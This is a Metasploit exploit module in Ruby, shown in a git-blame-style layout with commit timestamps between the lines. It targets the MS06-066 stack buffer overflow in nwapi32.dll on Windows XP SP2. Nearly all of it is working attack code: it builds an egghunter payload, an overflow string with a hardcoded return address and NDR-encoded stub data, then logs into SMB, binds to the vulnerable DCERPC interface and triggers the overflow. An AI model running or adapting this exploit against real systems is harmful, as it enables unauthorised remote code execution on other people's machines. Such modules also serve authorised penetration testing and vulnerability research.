2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-11-15 17:27:36 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-15 17:27:36 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2012-03-15 21:37:34 +00:00
|
|
|
'Name' => 'Microsoft Services MS06-066 nwapi32.dll Module Exploit',
|
2006-11-15 17:27:36 +00:00
|
|
|
'Description' => %q{
|
2012-03-15 21:37:34 +00:00
|
|
|
This module exploits a stack buffer overflow in the svchost service when the netware
|
2010-04-30 08:40:19 +00:00
|
|
|
client service is running. This specific vulnerability is in the nwapi32.dll module.
|
2006-11-15 17:27:36 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'pusscat' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2008-08-15 15:46:47 +00:00
|
|
|
[ 'CVE', '2006-4688'],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'OSVDB', '30260'],
|
|
|
|
[ 'BID', '21023'],
|
2006-11-15 17:27:36 +00:00
|
|
|
[ 'MSB', 'MS06-066'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2006-12-01 16:39:25 +00:00
|
|
|
'Space' => 296,
|
2006-11-15 17:27:36 +00:00
|
|
|
'BadChars' => "",
|
2010-04-30 08:40:19 +00:00
|
|
|
'Compat' =>
|
2006-11-15 17:27:36 +00:00
|
|
|
{
|
|
|
|
# -ws2ord XXX?
|
|
|
|
},
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-11-15 17:27:36 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2006-11-15 17:27:36 +00:00
|
|
|
'Windows XP SP2',
|
|
|
|
{
|
2006-12-01 16:39:25 +00:00
|
|
|
'Ret' => 0x00EBEEEC ,
|
2006-11-15 17:27:36 +00:00
|
|
|
},
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Nov 14 2006'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-15 17:27:36 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# [in] [unique] wchar *
|
|
|
|
# [in] wchar *
|
|
|
|
# [in, out] long
|
|
|
|
# [out] handle
|
2006-12-01 16:39:25 +00:00
|
|
|
|
|
|
|
# Generate the egghunter payload
|
2010-08-25 20:55:37 +00:00
|
|
|
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
2006-12-01 16:39:25 +00:00
|
|
|
egg = hunter[1]
|
2010-04-30 08:40:19 +00:00
|
|
|
#print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")
|
2006-12-01 16:39:25 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
# Add giant blocks of guard data before and after the egg
|
|
|
|
eggdata =
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text(1024) +
|
2010-04-30 08:40:19 +00:00
|
|
|
egg +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text(1024)
|
2006-12-01 16:39:25 +00:00
|
|
|
|
|
|
|
buflen = 295
|
2007-03-01 08:21:36 +00:00
|
|
|
ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) +
|
2010-04-30 08:40:19 +00:00
|
|
|
[ target.ret ].pack('V') + "\x00"
|
2006-12-01 16:39:25 +00:00
|
|
|
#ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
stubdata =
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
NDR.UnicodeConformantVaryingString("\\\\BBBB") +
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE!
|
|
|
|
#NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
#NDR.long((ofstring.length * 2) + 0xC) +
|
|
|
|
eggdata
|
|
|
|
|
2006-11-15 17:27:36 +00:00
|
|
|
print_status("Connecting to the SMB service...")
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
|
|
|
handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
|
|
|
print_status("Calling the vulnerable function...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-15 17:27:36 +00:00
|
|
|
begin
|
|
|
|
dcerpc.call(0x09, stubdata)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
2010-04-05 23:34:10 +00:00
|
|
|
print_status('Server did not respond, this is expected')
|
2006-11-15 17:27:36 +00:00
|
|
|
rescue => e
|
|
|
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
2010-04-05 23:34:10 +00:00
|
|
|
print_status('Server disconnected, this is expected')
|
2006-11-15 17:27:36 +00:00
|
|
|
else
|
|
|
|
raise e
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2006-11-15 17:27:36 +00:00
|
|
|
print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Cleanup
|
|
|
|
handler
|
2010-04-30 08:40:19 +00:00
|
|
|
disconnect
|
|
|
|
|
|
|
|
if (dcerpc.last_response != nil and
|
|
|
|
dcerpc.last_response.stub_data != nil and
|
2006-11-15 17:27:36 +00:00
|
|
|
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
|
|
|
|
return true
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2006-11-15 17:27:36 +00:00
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|